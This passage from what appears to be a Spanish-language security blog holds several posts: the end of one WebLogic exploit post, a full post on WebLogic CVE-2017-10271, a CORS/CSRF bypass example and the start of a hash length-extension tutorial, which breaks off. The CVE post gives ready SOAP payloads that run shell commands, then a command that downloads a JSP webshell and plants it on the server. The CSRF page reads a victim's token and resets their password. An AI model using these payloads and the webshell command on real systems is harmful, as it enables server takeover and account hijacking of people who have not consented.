<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">2.- En caso de responder y ser vulnerable, utilizar el siguiente comando entre <string>tucomando</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">ls -la > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR9MBbKM7y7DRvtQ7wKkgFBmWRAYCn7awH-FRgeBn2cEKV4OYBgQ-zcMYPj6-C1P2eY3BV9Y3qm9gS1Zj4AsdjvDxfeWYtCx04UfqEf-Ccm9Yr-MJkZQudR-8hXuVlKow_Yy6CLFiNPWi3/s1600/Screenshot_298.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="568" data-original-width="1189" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR9MBbKM7y7DRvtQ7wKkgFBmWRAYCn7awH-FRgeBn2cEKV4OYBgQ-zcMYPj6-C1P2eY3BV9Y3qm9gS1Zj4AsdjvDxfeWYtCx04UfqEf-Ccm9Yr-MJkZQudR-8hXuVlKow_Yy6CLFiNPWi3/s640/Screenshot_298.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">3.- Accedemos a la siguiente ruta: http://HOSTVULNERABLE/_async/favicon.ico</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi2vI4DOqM4cUKO9XmQQKa9LfMnZOCoapkVLU0-692MX0D54lDeh01hXGIm9FdGTBWU-eBO5IwIkMzHbgH6LAsgsQwpLFukM3sF-G0LP0x1IKYi3GLi_OuFDQklKmnOTvugSVEiGBdnZPw/s1600/Screenshot_299.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="432" data-original-width="1192" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi2vI4DOqM4cUKO9XmQQKa9LfMnZOCoapkVLU0-692MX0D54lDeh01hXGIm9FdGTBWU-eBO5IwIkMzHbgH6LAsgsQwpLFukM3sF-G0LP0x1IKYi3GLi_OuFDQklKmnOTvugSVEiGBdnZPw/s640/Screenshot_299.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Solución:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">Actualizar para aplicar el parche de esta vulnerabilidad.</span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com2tag:blogger.com,1999:blog-2586919884408211723.post-5606681272310921442019-05-08T15:09:00.001-07:002019-05-08T15:09:46.684-07:00WebLogic CVE-2017-10271 <span style="font-family: Courier New, Courier, monospace;"><b>Instalacion para POC:</b></span><div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">1.- sudo docker pull zhiqzhao/ubuntu_weblogic1036_domain</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">2.- sudo docker run -d -p7001:7001 -p80:7001 zhiqzhao/ubuntu_weblogic1036_domain</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIvY-tF7vDodKPcRniFcrVP9dRmj5H1zQueFbmujbPxjB2A9qhPylsmcqry8AReOjQ1LGDc-j4KuwUStbFLfkmWJYuDMFVLnllKF6LZHviPnPY-1l7N0KDJYYnTssl0PVqIkQM7sx3OlCx/s1600/Screenshot_292.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="301" data-original-width="1347" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIvY-tF7vDodKPcRniFcrVP9dRmj5H1zQueFbmujbPxjB2A9qhPylsmcqry8AReOjQ1LGDc-j4KuwUStbFLfkmWJYuDMFVLnllKF6LZHviPnPY-1l7N0KDJYYnTssl0PVqIkQM7sx3OlCx/s640/Screenshot_292.png" width="640" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><div>
<b>Descripcion:</b></div>
<div>
<br /></div>
<div>
Vulnerabilidad en el componente Oracle WebLogic Server de Oracle Fusion Middleware (subcomponente: WLS Security). Las versiones compatibles que se ven afectadas son 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 y 12.2.1.2.0. Una vulnerabilidad fácilmente explotable permite que un atacante no autenticado con acceso a la red a través de T3 ponga en peligro el servidor webLogic de Oracle.</div>
<div>
<br /></div>
<div>
<b>Impacto:</b></div>
<div>
<br /></div>
<div>
Los ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle WebLogic Server.</div>
<div>
<br /></div>
<div>
<b>URLs Posibles:</b></div>
<div>
<br /></div>
<div>
/wls-wsat/CoordinatorPortType</div>
<div>
/wls-wsat/CoordinatorPortType11</div>
<div>
/wls-wsat/ParticipantPortType</div>
<div>
/wls-wsat/ParticipantPortType11</div>
<div>
/wls-wsat/RegistrationPortTypeRPC</div>
<div>
/wls-wsat/RegistrationPortTypeRPC11</div>
<div>
/wls-wsat/RegistrationRequesterPortType</div>
<div>
/wls-wsat/RegistrationRequesterPortType11</div>
<div>
<br /></div>
<div>
<b>Vector de Ataque Para Linux:</b></div>
<div>
<br /></div>
<div>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"></div>
<div>
<soapenv:Header></div>
<div>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"></div>
<div>
<java></div>
<div>
<object class="java.lang.ProcessBuilder"></div>
<div>
<array class="java.lang.String" length="3"></div>
<div>
<void index="0"></div>
<div>
<string>/bin/sh</string></div>
<div>
</void></div>
<div>
<void index="1"></div>
<div>
<string>-c</string></div>
<div>
</void></div>
<div>
<void index="2"></div>
<div>
<string>ping xxxx.burpcollaborator.net</string></div>
<div>
</void></div>
<div>
</array></div>
<div>
<void method="start"/></div>
<div>
</object></div>
<div>
</java></div>
<div>
</work:WorkContext></div>
<div>
</soapenv:Header></div>
<div>
<soapenv:Body/></div>
<div>
</soapenv:Envelope></div>
<div>
<br /></div>
<div>
<b>Vector de Ataque para Windows:</b></div>
<div>
<br /></div>
<div>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"></div>
<div>
<soapenv:Header></div>
<div>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"></div>
<div>
<java></div>
<div>
<object class="java.lang.ProcessBuilder"></div>
<div>
<array class="java.lang.String" length="3"></div>
<div>
<void index="0"></div>
<div>
<string>cmd</string></div>
<div>
</void></div>
<div>
<void index="1"></div>
<div>
<string>/c</string></div>
<div>
</void></div>
<div>
<void index="2"></div>
<div>
<string>ping xxx.burpcollaborator.net</string></div>
<div>
</void></div>
<div>
</array></div>
<div>
<void method="start"/></div>
<div>
</object></div>
<div>
</java></div>
<div>
</work:WorkContext></div>
<div>
</soapenv:Header></div>
<div>
<soapenv:Body/></div>
<div>
</soapenv:Envelope></div>
<div>
<br /></div>
<div>
<b>Pasos a seguir:</b></div>
<div>
<br /></div>
<div>
Se ejecutaron pruebas de seguridad con los dos vectores de ataques para windows y linux en todos los puntos finales (URLs posibles) posibles en la aplicacion.</div>
<div>
<br /></div>
<div>
1.- Enviar los payloads a todos los posibles puntos finales de la aplicacion y ver si burp collaborator atrapa el ping enviado.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqOLJlNsGLHQBV4o_Mj2zLxeVT7fxYF3jbQ-NrA4mAqa6UI1GjOIceT26VFwucACbHnmpAeEeWfA66d-akPYT1fRytEuvYz7ZJ8V3NXDQ9kySUgJuE4jEyBl2rEcyFQd-v5Nv_RsBz1Xdh/s1600/Screenshot_293.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="626" data-original-width="1351" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqOLJlNsGLHQBV4o_Mj2zLxeVT7fxYF3jbQ-NrA4mAqa6UI1GjOIceT26VFwucACbHnmpAeEeWfA66d-akPYT1fRytEuvYz7ZJ8V3NXDQ9kySUgJuE4jEyBl2rEcyFQd-v5Nv_RsBz1Xdh/s640/Screenshot_293.png" width="640" /></a></div>
<div>
<br /></div>
<div>
2.- En caso de responder y ser vulnerable, utilizar el siguiente comando entre <i><string>tucomando</string></i></div>
<div>
<br /></div>
<div>
<i>/usr/bin/wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp;mv cmd.jsp servers/AdminServer/tmp/_WL_internal/bea_wls_internal/*/war</i></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnAObl1mNT5l3a1G5jK5x0mR3gYU91ICMEORfq14N9ZnjgeW91hYstVY_apW3nvx9qYzoOtQJE7fhs8iKy5OAUUyeCDSRsgiZm21DISpPasIgYe2VoSfsewv58cqt6tSJ48dLfHePBnUNN/s1600/Screenshot_294.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="587" data-original-width="1271" height="294" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnAObl1mNT5l3a1G5jK5x0mR3gYU91ICMEORfq14N9ZnjgeW91hYstVY_apW3nvx9qYzoOtQJE7fhs8iKy5OAUUyeCDSRsgiZm21DISpPasIgYe2VoSfsewv58cqt6tSJ48dLfHePBnUNN/s640/Screenshot_294.png" width="640" /></a></div>
<div>
<br /></div>
<div>
3.- Accedemos a la siguiente ruta: http://HOSTVULNERABLE/bea_wls_internal/cmd.jsp</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQAv6Qgjpy3VsaqqLwq9Gm16QKeJ0L9KZb5riMbk2805r2MTZqgmSBta7FtlWDa_AnkfmsikKLABsjL7nb2DxYq_yOYDXnIRARXTYUOFcOfWOSp0HwtJT0TDYtsUla8h6DGj2V9c1X3gPG/s1600/Screenshot_295.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="392" data-original-width="700" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQAv6Qgjpy3VsaqqLwq9Gm16QKeJ0L9KZb5riMbk2805r2MTZqgmSBta7FtlWDa_AnkfmsikKLABsjL7nb2DxYq_yOYDXnIRARXTYUOFcOfWOSp0HwtJT0TDYtsUla8h6DGj2V9c1X3gPG/s640/Screenshot_295.png" width="640" /></a></div>
<div>
<br /></div>
<div>
<b>Solución:</b></div>
<div>
<br /></div>
<div>
Actualizar para aplicar el parche de esta vulnerabilidad.</div>
</span></div>
Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-82509389730913399132019-01-14T20:12:00.001-08:002019-01-14T20:12:18.532-08:00CORS Bypass<span style="font-family: Courier New, Courier, monospace;">Un CORS mal configurado nos permite ataques tipos CSRF, Obtener datos privados y mas. Aqui les dejo una entrada de CORS:</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://arthusu.blogspot.com/2018/08/cors-mal-configurado-intercambio-de.html">https://arthusu.blogspot.com/2018/08/cors-mal-configurado-intercambio-de.html</a></span><br />
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<span style="font-family: Courier New, Courier, monospace;">Y un ejemplo de Bypass CSRF:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><!DOCTYPE html> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><html> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><head> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><script> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">function hack() </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">{ </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> var xmlhttp; </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> if (window.XMLHttpRequest) </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp=new XMLHttpRequest(); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> else </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.open("GET","http://192.168.239.141/index.php",false); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.withCredentials = true; </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.send(null); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> if(xmlhttp.status==200) </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> var str=xmlhttp.responseText; </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> console.log(str); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> var n=str.search("token"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> var c=str.substring(n+14,n+46); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> params = "token="+c+"&password=12345&password_again=12345"; </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.open("POST","http://192.168.239.141/index.php",false); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.withCredentials = true; </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.send(params); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">} </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></script> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></head> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><body onload="hack();"> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></body> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></html></span><br />
<br />
<br />
<br />Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-51220856482928565272019-01-14T20:07:00.002-08:002019-01-14T21:38:59.569-08:00Ataque de extension de longitud<span style="font-family: "courier new" , "courier" , monospace;"><b><u>¿Que es?</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante. </span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Código de ejemplo:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRak9_AGmyeMtV3fwxi3HDOhkYsCvlY6taONCzu2svUjeTGHQGR3oN_8re5FVhiwZ3u7g_dsoEdavrxadZt6MSnZ5sxpnhiBPcMsdB5WzwisCAIFI9ofFuSDlp2gcAh8Hnxe6KV1wC30KO/s1600/GetImage.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "courier new" , "courier" , monospace;"><img border="0" data-original-height="641" data-original-width="447" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRak9_AGmyeMtV3fwxi3HDOhkYsCvlY6taONCzu2svUjeTGHQGR3oN_8re5FVhiwZ3u7g_dsoEdavrxadZt6MSnZ5sxpnhiBPcMsdB5WzwisCAIFI9ofFuSDlp2gcAh8Hnxe6KV1wC30KO/s320/GetImage.png" width="223" /></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;">Uso:</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoPVuCu-2vCL4q4A3XCfCmsk25X4ElmmVlvnqNym4d4bCtNOxcrnbtsRHD0W5EDsPbJUzlf5y9Sx31A3pjdA6zmX4lbX_5_PXMCbCxGXRD1ErZGf4HrvaQXD_5u3GpwJOeB6cKA1nPH-Z2/s1600/GetImage+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "courier new" , "courier" , monospace;"><img border="0" data-original-height="120" data-original-width="429" height="89" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoPVuCu-2vCL4q4A3XCfCmsk25X4ElmmVlvnqNym4d4bCtNOxcrnbtsRHD0W5EDsPbJUzlf5y9Sx31A3pjdA6zmX4lbX_5_PXMCbCxGXRD1ErZGf4HrvaQXD_5u3GpwJOeB6cKA1nPH-Z2/s320/GetImage+%25281%2529.png" width="320" /></span></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><i>?user </i></b> - pedimos la firma para el usuario</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4qNMvfXq8BQUZZuY75rAa6GHIeaBa52me57swP06V7f9A67xzco6VOFxbO9ewpxqolVYklvGU4LrspWYCYwo7Nyf0fBB60DB9tuV3ibGKhO_r6nGbJR5xyMG4mTcl7pT1rWbz5KWlO3hk/s1600/GetImage+%25282%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "courier new" , "courier" , monospace;"><img border="0" data-original-height="83" data-original-width="342" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4qNMvfXq8BQUZZuY75rAa6GHIeaBa52me57swP06V7f9A67xzco6VOFxbO9ewpxqolVYklvGU4LrspWYCYwo7Nyf0fBB60DB9tuV3ibGKhO_r6nGbJR5xyMG4mTcl7pT1rWbz5KWlO3hk/s320/GetImage+%25282%2529.png" width="320" /></span></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><i>?admin</i></b> - pedimos la firma para el administrador</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhui9s95rYJlUETvjRVrV28PoDGIF-DiXcoKo6l8R5GyySvxivgL5GZPrOI094WCQDQuDFUvthQgusOeyZyDpBgFuLlKemPseEVKY2fp1Vj_fXOhIB4OaXVnUgB8YFFzKjX7zMJfw_oyTu1/s1600/GetImage+%25283%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "courier new" , "courier" , monospace;"><img border="0" data-original-height="309" data-original-width="442" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhui9s95rYJlUETvjRVrV28PoDGIF-DiXcoKo6l8R5GyySvxivgL5GZPrOI094WCQDQuDFUvthQgusOeyZyDpBgFuLlKemPseEVKY2fp1Vj_fXOhIB4OaXVnUgB8YFFzKjX7zMJfw_oyTu1/s320/GetImage+%25283%2529.png" width="320" /></span></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><i>?sig=xxxx&type=user</i></b> – donde sig es la firma obtenida y el type el tipo de usuario </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace; margin-left: 1em; margin-right: 1em;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg575aicrlw51MCr6YTEjTd_-aym5gUoYpH2L8MmeSCwbQa0Nz-ikxiaHDPKsq97y8GUr3o6ZBjuFM-0N9abiH70N97EfRvp-iOOXv-Cj59Gt1Ri2j3-J0AWW-D8Xnjzeba-khLKFmp9su2/s1600/GetImage+%25284%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="441" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg575aicrlw51MCr6YTEjTd_-aym5gUoYpH2L8MmeSCwbQa0Nz-ikxiaHDPKsq97y8GUr3o6ZBjuFM-0N9abiH70N97EfRvp-iOOXv-Cj59Gt1Ri2j3-J0AWW-D8Xnjzeba-khLKFmp9su2/s320/GetImage+%25284%2529.png" width="320" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;">En caso de que la palabra no coincida con la firma generada nos va mostrar un mensaje de error. </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace; margin-left: 1em; margin-right: 1em;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSMwy4Tojnv5ztP-F8XXrt2wdpP_tROEbjl9oxibo0uW2glKOjDemarNCeNovP74Vi3v2LB4PMJCQiiyuFiVhyphenhyphenjWVlHHL8zK26UGBsiIdX9U0XjAh-B8tMyvbD_VMiHQGAD5OI1cmZ1QWv/s1600/GetImage+%25285%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="291" data-original-width="412" height="226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSMwy4Tojnv5ztP-F8XXrt2wdpP_tROEbjl9oxibo0uW2glKOjDemarNCeNovP74Vi3v2LB4PMJCQiiyuFiVhyphenhyphenjWVlHHL8zK26UGBsiIdX9U0XjAh-B8tMyvbD_VMiHQGAD5OI1cmZ1QWv/s320/GetImage+%25285%2529.png" width="320" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><i>?sig=xxx&type=admin</i></b> – nos muestra el usuario administrador </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Explotación</u></b> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Haremos uso de un script: </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://github.com/bwall/HashPump">https://github.com/bwall/HashPump</a> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://github.com/iagox86/hash_extender">https://github.com/iagox86/hash_extender</a> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Hash extender en este caso soporta los siguientes hashes para su explotación: </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><i>CRC32, MD5, SHA1, SHA256 y SHA512 </i></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Ahora identificamos el hash <a href="https://www.onlinehashcrack.com/hash-identification.php">https://www.onlinehashcrack.com/hash-identification.php</a> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Introducimos el hash: <i>38f7e2f0c5eba427ed6b4b47f24814ea </i>(en mi caso es este) y damos clic en enviar </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjNxiRdA-MRGd6SmCJAsrpJS6mXwxoZ-BE7KNPNvTuwz_PwhJIXpAQZe7zGmz3yl5AwWEm0nCk2OKq6yWQFTwvrF9M6qcWS3efSDoNV-0bIAmlk_IpwqqJ00Y-656_Hi7BSLm2X-ON3y92/s1600/GetImage+%25286%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "courier new" , "courier" , monospace;"><img border="0" data-original-height="342" data-original-width="380" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjNxiRdA-MRGd6SmCJAsrpJS6mXwxoZ-BE7KNPNvTuwz_PwhJIXpAQZe7zGmz3yl5AwWEm0nCk2OKq6yWQFTwvrF9M6qcWS3efSDoNV-0bIAmlk_IpwqqJ00Y-656_Hi7BSLm2X-ON3y92/s320/GetImage+%25286%2529.png" width="320" /></span></a></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
